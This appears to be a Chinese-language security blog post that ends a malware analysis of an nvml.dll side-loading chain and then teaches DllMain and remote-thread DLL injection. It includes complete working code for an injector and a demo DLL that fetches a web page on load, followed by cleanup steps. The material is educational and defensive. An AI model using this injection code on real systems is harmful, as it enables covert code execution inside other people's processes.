【7】DllMain初始化 → nvml.dll!DllMain(fdwReason=1) → 赋值全局变量qword_1800BBC00=DLL基地址 → return 1
↓
【8】触发真实恶意逻辑 → nvgpu_x64.exe 调用 nvml.dll 的导出函数(如nvmlInit)
↓
【9】执行恶意行为 → 导出函数内执行:COM组件伪造 → 注入dllhost.exe → 提权注入svchost.exe → 计划任务持久化

如果再加上X64DBG的动态调试,想必会更加清楚,这里笔者X64DBG掌握不够熟练以及缺少绕过反调试的手段,调试失败。从这里其实也可以看出来,目前AI只能用来提升效率,比如注释,以及总结逻辑,而不能实现全部的自动化。还是去学习掌握核心知识,比如PE文件结构、动态调试以及如何绕过反调试等手段。

DllMain知识

Windows DllMain 四大核心触发条件

#define DLL_PROCESS_ATTACH    1   // 进程加载该DLL时触发
#define DLL_THREAD_ATTACH     2   // 进程中创建新线程时触发
#define DLL_THREAD_DETACH     3   // 进程中的线程退出时触发
#define DLL_PROCESS_DETACH    0   // 进程卸载该DLL时触发

DllMain函数

DllMain 函数是DLL模块的默认 入口点。当Windows加载DLL模块时调用这一函数。

系统首先调用全局对象的 构造函数,然后调用 全局函数DLLMain。

DLLMain 函数不仅在将DLL链接加载到进程时被调用,在DLL模块与进程分离时(以及其它时候)也被调用。

一个示例的DllMain函数如下:

BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
 switch (ul_reason_for_call)
 {
  case DLL_PROCESS_ATTACH:
      //添加想要执行的代码
      //当dll被进程加载时DLLMain被调用
   //printf(" process attach of dll");
   break;
  case DLL_THREAD_ATTACH:
      //添加想要执行的代码
      //当有线程被创建时,DLLMain被调用
   printf(" thread attach of dll");
   break;
  case DLL_THREAD_DETACH:
      //添加想要执行的代码
      //当有线程结束时,DLLMain被调用
   printf(" thread detach of dll");
   break;
  case DLL_PROCESS_DETACH:
      //添加想要执行的代码
      //当dll被进程卸载时,DLLMain被调用
   printf(" process detach of dll");
   break;
 }
 return TRUE;
}

以 远程线程注入为例

运行process explorer(或者火绒剑,任务管理器)获取notepad.exe进程的pid

可以看见process explorer.exe的pid为2788

运行InjectDll.exe将myhack.dll注入到notepad.exe进程当中。可以看到dll文件已经被注入到里面。

要想在process explorer中看见注入的dll文件,需要依次选择view->Lower Pane view->DLLS选项

进行注入时需要注意

1.LoadLibraryA 和 LoadLibraryW 不同字符表示
之前一直没有成功,没有使用L,但是使用了LoadLibraryW,导致加载dll失败,
如果不使用L,请用LoadLibraryA

2.注册的时候注意DLL完整路径,除非被注入程序和dll在同一个文件夹
InjectDll.exe 3480 D:\test\myhack.dll

同时可以看见文件内已经多了一个html文件,此文件是dll中所指定的文件。

在DLLMmain()函数中可以看到,这个dll被加载(DLL_PROCESS_ATTACH)时,先输出一个字符串("<myhack.dll> Injection!!!"),然后再创建线程调用函数(ThreadProc)。在ThreadProc函数中通过调用URLDownloadToFile来下载指定网站的index.html文件。前面提到过,向进程注入dll后会调用dll的DLLMain函数。所以当dll文件注入到exe进程后,会调用URLDownloadToFile下载文件。

#include "windows.h"
#include "tchar.h"

#pragma comment(lib, "urlmon.lib")

#define DEF_URL     	(L"http://www.naver.com/index.html")
#define DEF_FILE_NAME   (L"index.html")

HMODULE g_hMod = NULL;

DWORD WINAPI ThreadProc(LPVOID lParam)
{
    TCHAR szPath[_MAX_PATH] = {0,};

    if( !GetModuleFileName( g_hMod, szPath, MAX_PATH ) )
        return FALSE;
	
    TCHAR *p = _tcsrchr( szPath, '\\' );
    if( !p )
        return FALSE;
	//下载指定网站的index.html文件
    _tcscpy_s(p+1, _MAX_PATH, DEF_FILE_NAME);

    URLDownloadToFile(NULL, DEF_URL, szPath, 0, NULL); 

    return 0;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
    HANDLE hThread = NULL;

    g_hMod = (HMODULE)hinstDLL;

    switch( fdwReason )
    {
    case DLL_PROCESS_ATTACH :  //加载时
        OutputDebugString(L"<myhack.dll> Injection!!!"); //输出调试字符串
        hThread = CreateThread(NULL, 0, ThreadProc, NULL, 0, NULL); //创建线程
        CloseHandle(hThread);
        break;
    }

    return TRUE;
}

main函数的主要功能时检查输入程序的参数,然后调用InjectDLL函数。InjectDLL函数是用来进行dll注入的核心,其作用是使目标进程自行调用LoadLibrary这个api。

#include "windows.h"
#include "tchar.h"

BOOL SetPrivilege(LPCTSTR lpszPrivilege, BOOL bEnablePrivilege) 
{
    TOKEN_PRIVILEGES tp;
    HANDLE hToken;
    LUID luid;

    if( !OpenProcessToken(GetCurrentProcess(),
                          TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, 
			              &hToken) )
    {
        _tprintf(L"OpenProcessToken error: %u\n", GetLastError());
        return FALSE;
    }

    if( !LookupPrivilegeValue(NULL,           // lookup privilege on local system
                              lpszPrivilege,  // privilege to lookup 
                              &luid) )        // receives LUID of privilege
    {
        _tprintf(L"LookupPrivilegeValue error: %u\n", GetLastError() ); 
        return FALSE; 
    }

    tp.PrivilegeCount = 1;
    tp.Privileges[0].Luid = luid;
    if( bEnablePrivilege )
        tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    else
        tp.Privileges[0].Attributes = 0;

    // Enable the privilege or disable all privileges.
    if( !AdjustTokenPrivileges(hToken, 
                               FALSE, 
                               &tp, 
                               sizeof(TOKEN_PRIVILEGES), 
                               (PTOKEN_PRIVILEGES) NULL, 
                               (PDWORD) NULL) )
    { 
        _tprintf(L"AdjustTokenPrivileges error: %u\n", GetLastError() ); 
        return FALSE; 
    } 

    if( GetLastError() == ERROR_NOT_ALL_ASSIGNED )
    {
        _tprintf(L"The token does not have the specified privilege. \n");
        return FALSE;
    } 

    return TRUE;
}

BOOL InjectDll(DWORD dwPID, LPCTSTR szDllPath)
{
    HANDLE hProcess = NULL, hThread = NULL;
    HMODULE hMod = NULL;
    LPVOID pRemoteBuf = NULL;
    DWORD dwBufSize = (DWORD)(_tcslen(szDllPath) + 1) * sizeof(TCHAR);
    LPTHREAD_START_ROUTINE pThreadProc;

    // #1. 使用 dwPID 获取目标进程(notepad.exe)句柄(PROCESS_ALL_ACCESS权限),然后就可以用 hProcess 控制进程.
    if ( !(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID)) )
    {
        _tprintf(L"OpenProcess(%d) failed!!! [%d]\n", dwPID, GetLastError());
        return FALSE;
    }

    // #2. 在目标进程(notepad.exe) 内存中分配 szDllName 大小的内存,返回 pRemoteBuf 作为该缓冲区的地址.
    pRemoteBuf = VirtualAllocEx(hProcess, NULL, dwBufSize, MEM_COMMIT, PAGE_READWRITE);

    // #3. 将 myhack.dll 路径写入刚刚分配的缓冲区.
    WriteProcessMemory(hProcess, pRemoteBuf, (LPVOID)szDllPath, dwBufSize, NULL);

    // #4. 获取 LoadLibraryW() API 地址,kernel32.dll在每个进程中的加载地址相同(这个特性就是我们要利用的).
    hMod = GetModuleHandle(L"kernel32.dll");
    pThreadProc = (LPTHREAD_START_ROUTINE)GetProcAddress(hMod, "LoadLibraryW");
	
    // #5. 在 notepad.exe 中运行线程
    hThread = CreateRemoteThread(hProcess, NULL, 0, pThreadProc, pRemoteBuf, 0, NULL); //CreateRemoteThread()驱使进程调用LoadLibrary(),进而加载指定的DLL文件
    WaitForSingleObject(hThread, INFINITE);	

    CloseHandle(hThread);
    CloseHandle(hProcess);

    return TRUE;
}

int _tmain(int argc, TCHAR *argv[])
{
    if( argc != 3)
    {
        _tprintf(L"USAGE : %s <pid> <dll_path>\n", argv[0]);
        return 1;
    }

    // change privilege
    if( !SetPrivilege(SE_DEBUG_NAME, TRUE) )
        return 1;

    // inject dll
    if( InjectDll((DWORD)_tstol(argv[1]), argv[2]) )
        _tprintf(L"InjectDll(\"%s\") success!!!\n", argv[2]);
    else
        _tprintf(L"InjectDll(\"%s\") failed!!!\n", argv[2]);

    return 0;
}

下面来详细分析一下injectDll函数

调用 OpenProcess这个API,借助程序运行时以参数形势传递过来的dwPID值,获取exe进程的句柄(PROCESS_ALL_ACCESS)。得到PROCESS_ALL_ACCESS之后,就可以用获取的句柄控制对应进程。

//获取目标的进程句柄
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID)

需要把即将加载的dll文件的路径通知目标进程。因为任何内存空间都无法进行写入操作,所以先使用VirtualAllocEx() API在目标进程的内存空间中分配一块缓冲区,且指定的缓冲区大小为dll文件路径字符串的长度。

 pRemoteBuf = VirtualAllocEx(hProcess, NULL, dwBufSize, MEM_COMMIT, PAGE_READWRITE);
VirtualAllocEx()函数的返回值为分配所得缓冲区的地址。
该地址不是程序自身进程(Inject.exe)的内存地址,
而是hProcess句柄所指目标进程(notepad.exe)的内存地址。

使用WriteProcessMemory将DLL路径字符串(xxx\xxx\xxx.dll)写入到分配所得缓冲区地址。WriteProcessMemory所写的内存空间也是hProcess句柄所指的目标进程的内存空间。

 WriteProcessMemory(hProcess, pRemoteBuf, (LPVOID)szDllPath, dwBufSize, NULL);
 
 //调用API
 //Windows操作系统提供了调试API,借助其可以访问其它进程的内存空间。
 //例如:VirtualAllocEx()、 WriteProcessMemory等

调用LoadLibrary前需要先获取其地址。LoadLibraryW()是LoadLibrary()的Unicode字符串版本。

我们的目标明明是获取加载到 notepad.exe 进程的kernel32.dll的 LoadLibraryW的起始地址,但代码却用来获取加载到 InjectDll.exe进程的kernel32.dll的 LoadLibraryW的起始地址。如果加载到 notepad.exe 进程中的kernel32.dl的地址与加载到 InjectDll.exe 进程中的kernel32.dll的地址相同,那么上面的代码就不会有什么问题。但是如果kernell32.d在每个进程中加载的地址都不同,那么上面的代码就错了,执行时会发生引用错误 .

根据 Os 类型、语言、版本不同,kerne32.dll加载的地址也不网。并且 Vista /7中应用了新的 ASLR 功能,每次启动时。系统 DLL 加载的地址都会改0。但是在系统运行期间它都会被映射( Mapping )到号进程的相同地址。

Windows 作系统中, DLL 首次进入内存称为“加载”( Loading ),以后其他进程需要使用相网 DLL 时不必再次加载,只要将加载过的 DLL 代码与资源映射一下即可,这种映射技术有利于提高肉存的使用效率。

像上面这样, OS 核心 DUL 会被加载到自身固有的地址, DLL 注人利用的就是 Windows Os 这一特性(该特性也可能会被恶意使用,成为 Windows 安全漏洞)。导人InjectDll.exe进程中LoadlibraryW地址与导人notepad.exe进程中的LoadLibraryWO地址是相同的。

//在windows中,kernel32.dll在每个进程中的加载地址是相同的。
hMod = GetModuleHandle(L"kernel32.dll");
pThreadProc = (LPTHREAD_START_ROUTINE)GetProcAddress(hMod, "LoadLibraryW");

在目标进程中运行远程线程,pThreadProc是exe进程内存中LoadlibraryW的地址,pRemoteBuf是exe进程内存中dll字符串的地址

hThread = CreateRemoteThread(hProcess, NULL, 0, pThreadProc, pRemoteBuf, 0, NULL);

CreateRemoteThread用来在目标进程中执行其创建的线程,其函数原型如下:

除第一个参数 hProcess 外,其他参数与 CreateThread ()函数完全一样。 hProcess 参数是要执行线程的目标进程(或称“远程进程”、“宿主进程”)的句柄。 IpStartAddress 与 IpParameter 参数分别给出线程函数地址与线程参数地址。需要注意的是,这2个地址都应该在目标进程虚拟内存空间中(这样目标进程才能认识它们)。

HANDLE CreateRemoteThread(
  // 进程句柄
  hProcess,                          
  //  线程安全描述字,指向SECURITY_ATTRIBUTES结构的指针
  LPSECURITY_ATTRIBUTES lpThreadAttributes, 
  SIZE_T dwStackSize,                       //  线程栈大小,以字节表示
  LPTHREAD_START_ROUTINE lpStartAddress,    // 指向在远程进程中执行的函数地址
  LPVOID lpParameter,                       // 传入参数
  DWORD dwCreationFlags,                    // 创建线程的其它标志
  LPDWORD lpThreadId                        // 线程身份标志,如果为NULL,则不返回
);


HANDLE CreateThread(
  LPSECURITY_ATTRIBUTES   lpThreadAttributes,
  SIZE_T                  dwStackSize,
  LPTHREAD_START_ROUTINE  lpStartAddress,
  __drv_aliasesMem LPVOID lpParameter,
  DWORD                   dwCreationFlags,
  LPDWORD                 lpThreadId
);

查看ThreadProc与LoadLibrary。两函数都有一个4字节的参数,并返回一个4字节的值。也就是说,二者形态结构完全一样灵感即源于此。调用 CreateRemoteThread 时,只要将 LoadLibrary函数的地址传递给第四个参数 IpStartAddress ,把要注人的 DLL 的路径字符串地址传递给第五个参数 IpParameter 即可(必须是目标进程的虚拟内存空间中的地址)。由于前面已经做好了一切准备,现在调用该函数使目标进程加载指定的 DLL 文件就行了。
CreateRemoteThread (函数最主要的功能就是驱使目标进程调用LoadLibrary函数,进
而加载指定的 DLL 文件。

//调用 CreateRemoteThread 创建远程线程所需要的过程函数的标准形式为
DWORD WINAPI ThreadProc(
  _In_ LPVOID lpParameter
);

//Win32编程加载DLL的API为:
HMODULE WINAPI LoadLibrary(
  _In_ LPCTSTR lpFileName
);

处置措施

删除C\Program Files\Internet Explorer下的nvgpu_x64.exe、nvml.dll、nvml.bin文件

删除C:\Windows\System32\Tasks\Microsoft\Windows\WS\Microsoft Compatibility Internet Explorer计划任务